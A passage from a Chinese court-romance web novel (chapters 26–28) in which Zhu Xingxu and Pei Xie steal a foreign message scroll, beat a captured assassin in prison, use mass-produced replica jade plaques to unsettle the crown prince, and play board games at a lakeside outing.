他可是少东家最忠心耿耿的一条兵。
毫不畏惧任何怀疑的目光。
祝星序不明白裴榭这是在干什么,但也没有出声打断。
裴榭盯了半晌,终于挪开。
小二也心领会神上前,将耳朵凑过去。
裴榭低声在他耳边说了些什么。
小二皱紧眉头,似乎有什么话要说,权衡之下,还是应下了。
他离开之后,祝星序好奇问裴榭。
“你跟他说什么了?”
裴榭的唇角勾了勾。
“一会你就知道了。”
祝星序撇撇嘴。
怎么还对她有秘密了。
信不信她将他当阿贵时卑躬屈膝的模样广布天下,让他丢脸!
裴榭的注意力一直在祝星序身上。
见她有些不满的样子,心里升起了些许欢愉。
听完裴榭说的那一句之后,祝星序的眼神就没从底下挪开。
她倒要看看,裴榭究竟给那小二派了什么任务。
此时的大厅,还是一片祥和,大家都围坐在戏台前,看戏台上的杂技团表演。
上面的小孩基本功是真了得,不管是什么高难度的动作,都能做得很好。
不知不觉,祝星序的眼光也被吸引了过去。
裴榭则一直盯着异域人,生怕错过什么。
过了一会,杂技班的这批优秀小学员下去了,上来了新面孔,拿着不一样的道具。
底下看表演的人都露出渴望的眼神。
新上来的这些比刚刚那些小孩年纪稍大些,有些已经窜个,看起来和成年人差不多高了。
他们朝大家作了个揖,便开始表演节目。
观众为了支持他们,叫了声好。
他们似乎要把刚刚的小学员比下去,一上来就做了个极难的动作。
其他人叠罗汉似的,一个一个往上登。
最大的那个人,头顶二十个碗,正慢慢爬到最顶。
观众们屏息,也为他捏了把汗。
每越过一个人,下面就传来一声叫好。
终于,那人头顶着碗,站到了最高处。
下面爆发出掌声。
意外就在此刻来临。
最底下的人因为支撑得太久了,力气渐渐消失,原本稳扎稳打的马步抖了抖。
这一抖,整条都在抖。
最上面那个人也晃了晃。
二十个碗最讲究平衡。
稍微动一下,便会掉。
那二十个碗,就在祝星序的目光下,噼里啪啦摔了一地。
离得近的人为了躲避碎片,纷纷往后站。
正在穿梭其中倒茶的小二,被往后站的人们一挤,往旁边倒。
他手中的茶壶,正不偏不倚地浇向那几个异域人。
26. 第 26 章
滚烫的茶水浇向他们,纵然是身手矫健的马上民族,在这么短的距离里也躲不开。
湿热的茶从外衣不断渗入里衣,最终灼烫到他们的肌肤。
领头的那个唰地站起身来。
“你怎么搞的?茶都浇我身上了!”
小二卑微的模样和裴榭之前的样子如出一辙。
“对不住对不住……实在是人太多被挤到了。”
那领头人头发偏红,戴着一顶毡帽。
他看向一直在向观众们道歉的杂技团。
“哼,没这个本事就不要出来讨生活。”
说罢,就气冲冲地想要离开。
小二拦住他们。
“各位客官,刚刚那壶茶是我们的新品,里面加了一些食材,若不及时更换衣裳,会发臭的。”
此行已经耽误了很多时间,领头人有些拿不准主意。
见他犹豫,小二适时再添把柴。
“在我们睿朝,若是臭着去见贵人,这可是被视为挑衅的行为哦……”
听到这话,领头人立刻道:“那你快去给我们找几身衣服!”
小二的计谋得逞也没得意,还是恭恭敬敬地将他们请到了单独的房间更换。
“各位稍等,衣裳马上就来。”
裴榭见状走了出去。
祝星序也跟上。
裴榭拦了拦她:“我去即可,可能会有危险。”
祝星序又坐了回去。
异域人在房间里脱下衣服,将放有卷筒的衣服小心地搭在一旁的桌子上。
其中有一人道:“大哥,他们泼我们,我们是不是得要点补偿?”
领头人嘿嘿笑着:“那是肯定的。哥几个还没吃过睿朝的菜吧?今儿咱们就大吃一顿!”
“哎呀,能开这么大个戏院的人,肯定有不少钱。”
其余人也美滋滋地畅想起来。
小二捧着一堆异域风格的衣物进来。
京城也有不少异域人,他们的衣服并不难买。
见小二如此上道,领头人很满意。
“等等,你们犯了错,总得请我们吃顿饭吧?”
小二愣了愣,笑道:“这是没问题的,等会客官们看看要去哪里吃,我们文新戏院负责买单。”
异域人都高兴极了,开始讨论等会要吃些什么。
小二不动声色地收拾着他们的衣物,将衣服拿了出去。
领头人换好衣服后,下意识想拿起那件衣服。
他看向放衣服的桌子,上面什么也没有。
一股寒意从他的脚底升起。
他赶紧跑到门外喊小二。
所幸他走得还不远,就在走廊中间。
领头人赶紧跑过去,扯过他手里的衣服。
“你乱拿什么?”
小二很委屈:“客官,我只是想清洗一下你们的衣服。”
领头人一边摸着东西,一边大声道:“谁要你拿了,啊?再赔我们一顿饭!”
小二的脸色立刻苍白起来。
摸到了在里衬的卷筒,领头人很满意。
他看到小二苍白的脸色,心里很有成就感。
“你可以滾了!”
小二敢怒不敢言,委屈地走了。
*
楼上的雅间内,裴榭和祝星序坐在桌子旁边,看着卷筒里的消息。
上面用了异域人的语言,祝星序看不太明白。
裴榭学过,他看了一眼就将卷筒收了起来。
“这个消息,真的能换朱雀玉牌吗?”
裴榭摇了摇头。
“不够。”
赌输了。
祝星序趴在桌上,有点迷茫。
裴榭想伸手放在她的肩膀上,抬起了一点,又放下了。
“无碍,再想想办法吧。”
祝星序点头。
也只能这样了。
没想到朱雀玉牌如此难拿。
都怪那个面罩人!
她现在好想再揍他几拳。
上次打得太少了!
祝星序记得,那人几乎是被裴榭抓走了。
“裴榭,上次观里的刺客,死了吗?”
裴榭怔住:“还未。”
他留着有用。
祝星序抬起身,用亮晶晶的眼神注视着他。
“那……我可以去打他两拳吗?”
她浅棕色的瞳仁里满是期待。
裴榭说不出拒绝的话。
“可以。”
祝星序有些激动。
“那现在就去吧?”
裴榭点头,让小二端来水,他将脸上的东西给洗掉。
雅间没有点灯,只有来自戏台上的灯光。
杂技节目结束,此时又不知换了什么戏,曲调婉转有情。
裴榭极致的容貌渐渐展现。
祝星序不由得看痴了。
不得不说,裴榭有一副好皮囊。
从身材,性格来看,尽管祝星序在这已经见到过几个长得好的男子。但综合下来,还是裴榭的容貌最为出色。
祝星序也不会隐瞒自己想说的话。
“裴榭,有没有人说过你长得很好看?”
裴榭洗脸的动作顿了顿,转头看她。
此时还有些水珠淌在他的脸上,配上他略显茫然的神情,就像淋湿了的小狗一般,惹人怜爱。
他面对着窗台,外间的灯光映进他的眼里,像是暗夜里缀着的星子。
祝星序的心脏狂跳起来。
她移开视线,不敢再看。
他淡淡回道:“没有。”
心里乱成一团的祝星序没听到他的这句话。
"你说什么?"
裴榭看着她的脸在昏暗光线下如熟透的荔枝肉,心里有些软。
“没什么,趁天色还早,尽快走吧。”
他转头朝外走着。
祝星序也赶紧跟了上去。
裴榭早早便叫车夫将马车停到戏院门口。
戏院里的戏还在唱着,但已被他们抛在身后。
两人上了马车,马车便缓缓向刑狱驶去。
车上的氛围有些微妙。
两人谁都没有说话。
祝星序感到手心有些出汗,不知道自己是怎么了。
以往的从容不迫去哪了!给我回来!
裴榭也愣愣地盯着马车内某一个点。
他回过神来时,才发觉自己刚刚在发呆。
很久没有过这种放空的感觉了。
戏院离刑狱不远,很快便到。
进入后,裴榭先带着她进到外间的一个屋子里。
他从柜子里拿出一件斗篷给祝星序。
“里面的脏污比较多,你套着吧。”
祝星序愣愣地套上。
斗篷是黑色的,衬得祝星序的皮肤更加白皙。
裴榭只看了一眼,就转过身带路。
“把帽子套上,不要让人看到你。”
祝星序听话地照做。
在刑狱,他最大嘛。
此时不是上值的时间,刑狱内的衙役并不多。
他们看见裴榭,都纷纷问好。
裴榭微微颔首,这便算是回应了。
走到里间,他对值守在外面的人道:“你先下去。”
衙役经受过专业的训练,不会对长官的命令质问,行了个礼便往外面走。
还没靠近里间,祝星序就闻到了浓浓的臭味。
像是排泄物混合着血腥气。
似乎还加了些别的,她闻不出来。
总之,非常难闻。
里间的人不多,面罩人算一个。
他依旧被绑在棍子上,有些奄奄一息。
刑狱的人不会让他死,但也不会让他好过。
每日只绑着让他上两次恭房,再喂些水和迷糊,多的也没有。
但不是每次去恭房都想上的。
其他时间若是想上,便只能拉在裤子里。
这对正常的人来说,多少都有点伤自尊。<
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p>但是这是刑狱,这也算是一种手段。
让你渐渐受不了,吐露出更多的东西。
祝星序摘下帽子,看着他。
“这是那个刺客?”
她从前看他时,他尚戴着面罩,没有取下来过。
这还是祝星序第一次看见他的正脸。
裴榭点头。
得到肯定的答复后,祝星序开始怒瞪着他。
那人半合着眼,仿佛快要死了一般。
祝星序想踹她,但又觉得脏了自己的鞋。
她四处看,另一边的墙上摆满了刑具。
祝星序上前,挑了一个普通的棍子。
她打了面罩人一下。
“起来,还给我睡觉!”
面罩人迷迷糊糊的,被这一打,直接吓醒。
“行行好吧,我真的不知道了呜呜……”
他还以为又是每日常规的审问,已经形成了条件反射。
祝星序气道:“你好好看看我是谁!”
面罩人这才定睛一看。
“哇,原来是你这个小贱妇。”
若不是祝星序,他哪里会被抓到?
还没等祝星序打他一棍,一旁的裴榭迅速上手,扇了他一巴掌。
裴榭习武,力道很大,这一巴掌直接把面罩人扇得晕头转向,嘴角流出鲜血。
祝星序叫好:“打死他!”
她可没忘了面罩人伤害她的事情。
祝星序上次只是踹了他几脚,真是太便宜他了。
又想到自己忙活半天,连朱雀玉牌的影子都没看到。
她愤怒地抄起棍子开始猛打他。
“还说会给我玉牌,你个骗子!”
祝星序的力道不大,但这几棍子下来,也很让人不好受。
“你别想了,就你这小……”裴榭的目光幽幽地盯着,他噤了声,“就你这小女子,想拿玉牌,简直如小儿抱金过市,哪里放得住?”
祝星序更生气了:“要你管!你个罪犯,明日就砍头!”
面罩人对着裴榭会害怕,但对着祝星序,他撒开了跟她对骂。
“哼哼,我还没死,是不是很失望?”
“起码比我死得快得多得多!”
裴榭看她气呼呼的样子,觉得有些有趣。
看过她偷懒的,委屈的,恭敬的,他还没见过她这样。
祝星序打累了,也出够了气,将棍子放回去。
“我回去过我的大小姐日子了,你就在这等死吧!”
最后再吼一句,她生气地走了。
裴榭也跟上,出门时,冷冷地看了面罩人一样。
他刚刚那些骂祝星序的话,他可都记得。
面罩人缩了缩脖子。
走到外间的屋子,祝星序将斗篷脱下,还给裴榭。
“谢谢你。”
裴榭:“不用。刑狱离祝府有段距离,我送你回去。”
祝星序点头,跟在他后面上了马车。
刑狱的地面很脏,祝星序的绣花鞋被染上了一抹脏污。
她上车时,裴榭便看到了。
两人坐在车里。
裴榭从车里的格子拿出一双鞋给她。
祝星序好奇:“这是?”
裴榭解释道:“之前我问你要什么报酬,你说随我。”
所以这是他的报酬?
鞋子很漂亮,主体颜色为篮,上面绣着一些简约的白线,最为亮眼的是鞋子中间系着一枚小玉圈,玉圈上垂下一道淡蓝色的彩绦。
是祝星序喜欢的风格。
她立刻将鞋子换下,穿新的。
居然也很合脚!
祝星序笑了,从钱包里拿出一枚铜板给裴榭。
裴榭接过,打量了一番:“这是何意?”
祝星序爱惜地看着鞋子道:“我听说,若送鞋给别人,是送别人离开的意思。”
裴榭想届时,但祝星序很快又说:“我给了你一个铜板,那便不算是送了,我也就不会离开了。”
27. 第 27 章
直到祝星序下了马车,裴榭还沉浸在她说的那句话中。
之后,他嘴角的笑意,怎么也压不下去。
回到府里,他亲手将那双她脱下的绣花鞋洗净。
仆从一开始看到他这样,还上前道:“殿下,这等粗活让我们干吧。”
他却摇头,将袖子挽起来,仔细又认真地洗。
反正,他从前也是这么过来的。
鞋上的脏污本就不多,裴榭很快就洗干净了。
他把鞋晾在自己的院子里。
在它干的期间,裴榭便一直看着,同时在脑中想着,要怎么帮她拿朱雀玉牌。
这是她想要的,他得帮她拿到。
夜晚渐渐来临,裴榭也想到了办法。
他连夜赶去镇国观。
夜晚的镇国观,寂然无声。
裴榭走进去,路过三清殿时,毫不意外地看见了大门上落的锁。
因大殿修缮,三清殿暂时不对外开放。
这是镇国观的说辞。
事实是,观主在知晓朱雀玉牌失踪后,慌了神,又不敢和宫里说,只能先锁着拖延一段时日。
这几日,观里的道士们都在京城各处寻找着朱雀玉牌的下落。
有本领更加高强的几人,还去了其他地方搜寻。
皆无收获。
观主起卦一算,东西还在京城,便让外出的人都回来,只在京城内搜寻。
若再搜不到……便只能向宫中禀报了。
裴榭走到观主的房门口敲门。
观主愁眉苦脸地将门打开。
他刚刚得到的消息是,玉牌还没找到。
观主看见门外的裴榭,吓了一跳,还以为他是皇宫派来抓他的。
裴榭看他紧张的样子,笑了笑。
“观主缘何如此紧张?”
老观主的头发都更加花白了一些。
“哎……这……”他犹豫,不想说。
裴榭微微一笑,自顾进来关门。
“我有一计。”
观主眼睛一亮,凑耳朵上去。
裴榭说了几句,观主一脸为难。
“这……这不好吧?”
裴榭淡淡道:“那你可还有其他办法?”
观主在原地走来走去,思考着这个方法的可能性。
裴榭也不催他,静静地等待。
过了半晌,观主思考好了:“就按殿下说的办!”
若不采用,他也确实没其他的办法了。
裴榭的笑意浓了些。
“观主是聪明人。”
过了半月,是睿朝的文曲星节,镇国观的三清殿重新打开并推出了几万张朱雀玉牌。
镇国观称,朱雀玉牌拥有提神醒脑,增加智慧的祝愿,若进京赶考的考生买了,很有可能高中。
一时间,朱雀玉牌风靡了整座京城。
即将考试的,或未来要考试的,都买了一块。
他们再也不用去三清殿向朱雀玉派祷告,只要时时佩戴在身上,就有效果。
有几个禀生买了之后声称,月考的成绩都好了起来。
“我还以为是假的呢,结果你瞧怎么着,我排名上升了!”
“我弟弟,买了之后,本来怎么背也背不下来的那篇文章,竟然一晚上就背下来了。”
某一特殊场所的女性称,她有个顾客原本总是很快,但有一日,她看见他身上佩戴着那枚朱雀玉牌,两人决战到了天亮。
“太厉害了,我觉得就是玉牌的效果。”
这一论调,更是引得其他众多男人疯抢。
朱雀玉牌的事越传越邪。
裴桦本来毫不在意,反正真的在他那,管别人有几个假的呢?
结果,有一个消息,彻底让裴桦坐不住了。
这几万张朱雀玉牌,早早地便在镇国观里备下了,只等文曲星节时摆上来售卖。
此消息一出,裴桦有点慌。
他总是反复去看那枚存放得好好的朱雀玉牌。
上面赤红的朱雀和圆润的玉身,都提醒着他,这东西是真的。
但他就是很害怕。
一日早朝,裴桦心不在焉地走去金銮殿。
裴榭跟在他身边。
“大哥。”
裴桦胡乱点头:“五弟。”
他瞄了裴榭一眼,猛然看见他身上也佩戴着一枚朱雀玉牌。
也是同样的赤红朱雀和圆润玉身。
裴桦瞬间脸色惨白。
裴榭观察着他的反应:“大哥,怎么了?”
他回过神来,尬笑了两声:“没想到五弟也好收集这个。”
裴榭顺着他的目光看向自己的玉牌。
“意义挺好的。”
他的反应很平常。
但裴桦更加慌张了。
早朝时,他都有些魂不守舍。
皇帝叫他回答问题,裴桦也是支支吾吾地,答不出个所以然来。
因此还惹得皇帝怒斥他。
下了早朝,裴桦冲回太子府。
就连他最爱的侍妾在门口搔首弄姿地吸引他,他也大力地把她推开了。
侍妾跌在地上,愣愣地看着裴桦离去的背影。
“殿下……”
裴桦跑回寝屋,哆哆嗦嗦地打开装着玉牌的盒子。
他将东西拿出来,又仔仔细细地看了一遍。
说实话,他也不知道这到底是真的还是假的。
那蠢货不会是拿错了吧?
但现下他被抓了,他又不可能跟他对峙。
越想,他越觉得那个饭桶拿错了。
那真的在哪?不会还在三清殿吧?
难道前段时间三清殿封殿真的只是在修缮?
他将东西又放好,沉重地走出房门。
因为他心事重重,并没有注意到角落有个人。
一直到裴榭将祝星序约出来,把真正的朱雀玉牌放在她眼前时,祝星序还有些不真实感。
“这样就拿到了?”
裴榭点头。
祝星序回想着这些日子关于朱雀玉牌的事情。
“那这些,也都是你做的?”
裴榭再次点头。
祝星序舒了一口气。
怪不得原著是三皇子的军师级人物呢。
这都能被他拿到!
祝星序现在真的很敬佩他。
两人沉默了半晌。
“谢谢……”
裴榭笑了:“不必客气。”
祝星序忽然想到最近季迟影约她的事情。
“那个……明日下午,你有空吗?”
裴榭抿了抿唇:“有。”
祝星序道:“季迟影约我你知道吧……但是呢,商文修也在,那我像个电灯泡似的很尴尬……”
裴榭问:“什么是电灯泡?”
不自觉说了现代词汇,祝星序咳了一声。
“就是一对有情人在一起,突然多了个人,就像灯一样,又大又亮,非常不合适。”
裴榭的眼神暗了下去。
“知道了。”
祝星序摸不准这句话的意思。
“那你要去吗?”
裴榭点头。
祝星序轻松了许多。
想一想,这商文修追女生还真有一下子。
这么快就能约季迟影出去了。
不过……季迟影会不会是避嫌啊?
她之前和三皇子约会的时候并没有叫自己啊?
搞不懂,明天去看看就知道了。
隔日中午,祝星序穿好衣服,犹豫了一下,还是穿了裴榭送的鞋子。
她真的很喜欢,穿着很好看。
而且今日要见他,穿人家送的鞋子,也是一种礼貌嘛。
锦珠和素兰在一边眼巴巴地看着。
“你们还是别去了,此行不是去玩的。”
祝星序拒绝了。
若是她单独行动,可以带上丫鬟。
可现在很多时候,
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她都要去接触一些秘密,不适合带丫鬟。
一个人出门,更加自由!
听祝星序这么说,锦珠和素兰便也不坚持了。
“大小姐你要小心点。”
祝星序边走边道:“知道了。”
她穿过大堂,直走向府门口。
季迟影已经坐着车在等她了。
祝若怡在大厅和许氏说着体己话,见祝星序风风火火地出门,她的嘴撅了起来。
“母亲,为什么大姐姐可以经常出门……我只有在过节时才能出呢?”
许氏正在教她刺绣,听完,有些生气。
“娘和你说了多少遍了,你是大家闺秀,不能总是出门。”
祝若怡委屈道:“大姐姐也是府里的女子啊……她还是嫡长女呢。”
许氏道:“你别管她。”
她对祝星序的感情很复杂。
管不了她,许氏也就只能管管自己底下的两女一儿了。
祝若怡更加不服气,低着头狠狠地戳着绣品。
*
坐在马车上,季迟影问:“你真的把五皇子殿下叫来了?”
祝星序点头:“是啊,不然两女一男出去很奇怪吧,其他男子我又不认识。”
季迟影想了想:“哼,就让他来。他来了,三皇子才知道我和谁出门。”
原来她打的是这个算盘。
不过商文修确实是个强劲的对手。
论样貌,论财力,几乎和三皇子不相上下。
就是没什么权力。
但是看季迟影的样子,好像并不在意这些。
女主就是女主,一点都不俗。
马车晃晃悠悠地出了城,停靠在霜雪湖。
霜雪湖的周围种满了一圈柳树,到了季节,柳絮就会开始飘扬,纷纷落到湖面上。
看起来就像是覆了层雪一般。
在冬天时,整个世界银装素裹,霜雪湖更是美成京中一绝。
现下,便是柳絮飘扬的时节了。
听说是商文修约的季迟影。
祝星序想为他鼓掌。
这么个好地儿,太会选了。
下了马车,霜雪湖旁已经有了一些人。
许多人都不想错过这个盛景。
裴榭和商文修先到了。
祝星序满意地点头。
不错,没让女生等。
商文修看见季迟影,笑容都要咧到耳根了。
他走上前道:“阿影,我在那边已经找好了一个位置。”
季迟影点头,跟着他。
同时还不忘拉上祝星序。
祝星序被迫跟着走,她又用眼神示意裴榭跟上来。
今天的裴榭身着白衣,看上去像是融入了这霜雪湖的风景中。
一时之间,祝星序竟有些分不清,究竟是景美,还是他的人更美。
但无疑,这都是赏心悦目的。
裴榭慢悠悠跟上来。跟他们保持着不远不近的距离。
到了商文修所说的地方。
这个地方是观赏整座湖的最佳位置。
商文修贴心地让人在这搭了个棚子,防止飘下来的柳絮弄到头发和衣服上。
此次出行,他带了不少仆从。
为的就是要让季迟影舒心。
但是一般人不会带这么多仆从出来。
刚一坐下,商文修就让人把煮好的茶拿过来。
“阿影,这是刚刚煮好的,你尝尝。”
季迟影饮了一口,满心欢喜。
“这茶入口香醇,毫无涩意,当真是好茶。”
商文修笑得很廉价:“阿影喜欢就好。”
祝星序默默喝茶,看远处。
裴榭也喝了一口,总算有些知道何为电灯泡了。
他没有将目光挪开,而是看着商文修的行为,若有所思。
柳絮时节的霜雪湖固然是好看,但会引得许多人前来。
这其中,就包括了季清清和三皇子。
28. 第 28 章
他们两个刚好在祝星序看的方向。
她又将头转过去,看着裴榭。
还是裴榭好看点。
他被祝星序看得有些不自在,问:“怎么了?”
祝星序又看了那两人一眼,才低声道:“你三哥和季清清又来了。”
裴榭看过去。
祝星序赶紧拉了一下他。
“别看了别看了,等下给他们发现了。”
祝星序忘了,他们这个棚子本来就很显眼。
几乎是一瞬间,走过来的三皇子和季清清就看到了这个棚子。
自然也看到了棚子下面的四人。
四散的柳絮落到季清清的头上,早就将她弄得有些心烦意乱。
她看了看身旁三皇子英俊的侧脸,按捺住内心的燥热。
但,当她看到季迟影在棚子底下,既不用被柳絮像雨一样地淋,又能喝着热茶吃着点心。
季清清快发疯了。
她怒气冲冲地走到棚子前,瞪着季迟影。
除了祝星序和裴榭,那两人都没发现她。
商文修正忙着投喂季迟影。
而季迟影,也全盘接受了。
裴檐快步跟了上来,看见这个场景,脸也黑了一半。
裴榭起身。
“三哥。”
裴檐这才看到他:“你也在。”
裴榭点头。
不过,裴檐此时满心满眼只有笑得灿烂的季迟影。
裴檐和裴榭一对话,季迟影才抬起头来看着裴檐。
为了礼仪,她还是起身对裴檐行礼。
“三皇子殿下。”
祝星序也跟着行了一个。
商文修不满,但这毕竟是古代,他也行礼。
“三皇子殿下。”
裴檐怔怔地看着季迟影。
“你以前……不会如此客气。”
季迟影的眼神闪烁了一下。
“之前是臣女不懂规矩,还望三皇子殿下不要责罚。”
她的语气平淡得可怕,裴檐皱眉。
他想说些什么,却被季清清打断。
“你们离开这里,我想在这里!”
季清清也想在棚子底下坐着喝茶。
裴檐原本想训斥季清清,但看着商文修和季迟影靠得很近的距离。
眉眼一冷。
“我和清清要在这里。”
商文修看向季迟影。
季迟影的神色也没丝毫波动,只对商文修道:“那我们去另一边。”
商文修点头,立刻唤仆从将棚子拆掉,其他的东西全部打包收拾起来换地方。
季清清看着棚子被拆了,有些心疼。
“你拆棚子干什么?我要用的!”
商文修见她出声,挑眉:“这棚子是我带来的,我走了自然不得带走?你要拿你自己的呗。”
仆从们速度很快,几息之间便把东西收拾得妥妥当当,站在商文修的身后,听从他下一步的指示。
下一刻,商文修就在前面带路,其余人跟着走了上去。
季迟影也没再看一眼他们,抬脚便走。
裴榭冲裴檐点了点头,也跟在祝星序的身后。
祝星序看着他:“你不去你三哥那里吗?”
裴榭的视线扫过她的脸。
“是你约我的。”
祝星序哑然。
“连你都跟着我们走,那你不怕他生气啊?”
裴榭道:“三哥不是那种心胸狭隘之人。”
祝星序不了解裴檐,便没有再说话。
但既然裴榭也跟来了,那应该是没什么事的吧……
霜雪湖其他的好地方都已经被人占据了,商文修只好在离霜雪湖不远处的空地上搭起棚子。
仆从们干净利落地弄好场地,回到了之前的样子。
这个位置,完全看不见裴檐和季清清了。
正式停下时,季迟影往来时路看了看。
什么也没有。
商文修怕季迟影不开心,又变着法地逗她。
“阿影,你尝尝这个水果。”
“阿影,这果茶是我自己研究的,特别好喝。”
“阿影,我前几天遇到了一件事特别有意思……”
就算季迟影再难过,被商文修这一通话下来,悲伤的思绪都被清空了,开始和他聊着天。
裴榭默默在旁边看着。
祝星序从那些仆从的包里掏来掏出,掏出一副棋盘。
“裴榭,裴榭。”
裴榭看过去。
祝星序挥挥手:“别看他们了,我们来下棋吧。”
裴榭走过去,在祝星序的对面坐下。
她不会下围棋,想了想道:“你会下五子棋吗?”
裴榭:“五子棋?”
祝星序给他讲了一遍。
“懂了吗?”
裴榭点头:“试试吧。”
第一局,祝星序赢了。
她笑了笑:“你不熟悉,多下几局就好了。”
裴榭点头,拧眉思考着。
祝星序偷偷看着他低下去的额头。
这人智商高,她得使用阵法。
第二局她用了经典的裤衩阵。
裴榭的眉头因她奇怪的下法而拧得更深。
祝星序表面不动声色,内心偷偷笑着。
她可是看了好几遍别人的解说,绝对不会有问题的。
裴榭只沉思了一会,便破了祝星序的裤衩阵。
祝星序瞪大眼睛。
这怎么可能!
裴榭此时已经心中有数,笑着看她。
“该你了。”
祝星序不服,继续下着。
下了几子,裴榭赢了。
“承让。”
祝星序悄悄瞪了他一眼。
可恶。
裴榭没错过这一眼,眼中的笑意又加深了几分。
接下来几局,祝星序将知道的阵法都试了一遍。
什么牛头阵,香蕉阵,三角阵。
一开始,裴榭都会思索一番,然后快准狠地破了她的阵法。
祝星序将棋子扔回棋盒。
“不玩了。”
没错,她就是玩不起,怎么样吧。
裴榭饶有兴致地看着她。
在一旁和商文修聊着天的季迟影终于发现了好朋友那边的动静。
她看过去,见祝星序和裴榭在下棋。
商文修也注意到了她的视线。
他拿出新的棋盘。
“五皇子殿下,祝星序,来玩这个。”
正是输了耍赖的时候,祝星序赶紧跑到他们那边坐着。
裴榭慢悠悠地起来,拿了一把椅子坐过来。
桌子小,祝星序和裴榭靠得近了。
裴榭似乎又闻到了水果的甜香。
这次是芒果。
芒果的甜香里还夹杂着郊外青草的味道。
商文修给他们介绍着:“这是纸鸢棋,我自创的。”
祝星序看着上面飞行棋一样的布局,无语地看着他。
商文修给她使了个眼色。
棋盘是一样的,只是棋子上面的飞机换成了形状不一的纸鸢。
看上去倒比现代的飞行棋要精致好看许多。
这崭新的棋盘和全新的玩法让季迟影好奇极了。
商文修讲完规则,便拿出一粒骰子。
“这可是
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不用智商,全靠运气的游戏。”
祝星序挑衅地看了裴榭一眼,好像在说,看你怎么赢我。
裴榭淡然笑着,不置可否。
季迟影先来。
她摇晃着骰盅,打开一看,是六点。
季迟影放出一只纸鸢。
在接下来的几轮里,祝星序和商文修都有一只纸鸢飞出去,季迟影有三只。
只有裴榭,一只都还没出去。
他默默摇着骰子,神情不明。
商文修凑到祝星序的耳边说:“他不是皇子吗……怎么运气这么差。”
祝星序用更小的声音道:“这是小说,只有男女主角才是运气的中心……”
两人咬着耳朵说话的样子映入裴榭的眼帘。
他垂下眼眸,隐去一丝烦躁。
祝星序看他的样子有点不太对劲,伸出手看着他:“要不我帮你摇一个?”
裴榭抬眼看向祝星序。
她浅棕色的瞳仁忽隐忽现,是她在眨眼。
“嗯。”
裴榭将骰盅递给她。
祝星序接过之后,稳稳地放在手心里,暗自祷告一定要摇到六点。
不然裴榭气跑了怎么办。
她可不想一个人在这里。
她伸出白皙纤瘦的胳膊摇晃。
裴榭的注意力都在她的手上。
白得晃眼,却又让人那么移不开视线。
摇完,打开一看。
是六点。
祝星序舒了一口气,帮裴榭把纸鸢放出。
商文修在一旁阴阳怪气。
“噢哟,犯规哦。”
祝星序不屑地哼了一声。
“你少管。”
裴榭的睫毛轻轻颤了颤。
走了几轮,季迟影的纸鸢遥遥领先。
她脸上的笑意又浓了几分。
“这个还挺好玩的。你说呢,星序。”
商文修立刻看向祝星序。
祝星序接收到他的目光。
“是啊,不错,很有意思。”
走了第一个,裴榭后面的纸鸢也都放了出去。
有一段时间,商文修一直摇到小数,落后季迟影许多。
之后,两人的纸鸢一直交叉前进,谁也不让谁。
祝星序和裴榭的纸鸢在后面两相前进着。
但裴榭的始终跟在祝星序的纸鸢后面,像是在为她展开臂膀,让她毫无后顾之忧。
最后,四人的纸鸢都飞进了通道中。
季迟影摇的骰子一直都是大数,怎么也进不去。
别看祝星序落后许多,紧赶慢赶的,竟也追了上来。
“不会吧不会吧,我不会是赢家吧。”
祝星序摇着骰子,开心地笑。
商文修道:“别得意太早,没准你也进不去。”
祝星序不理他,默默摇着。
骰盅打开,刚好是进去的数。
“没办法,美貌和运气于一体的我,就是这么完美。”
祝星序摇摇头,第一个飞进去的纸鸢从她的手上诞生。
第二只进去的纸鸢,出乎意料的居然是祝星序帮裴榭放飞的那一只。
祝星序笑得明媚。
“你看,这是我帮你摇的。”
裴榭看向她的眼神里带着他自己都没有察觉到的温柔。
“是。”
旁边的商文修看到了,发出啧啧的声音。
季迟影回头看他:“怎么了?”
商文修摇头:“没什么。”
一局结束,祝星序准备再来一把。
商文修又冲她使眼色。
祝星序无奈,只好和裴榭道:“我们去那边走走。”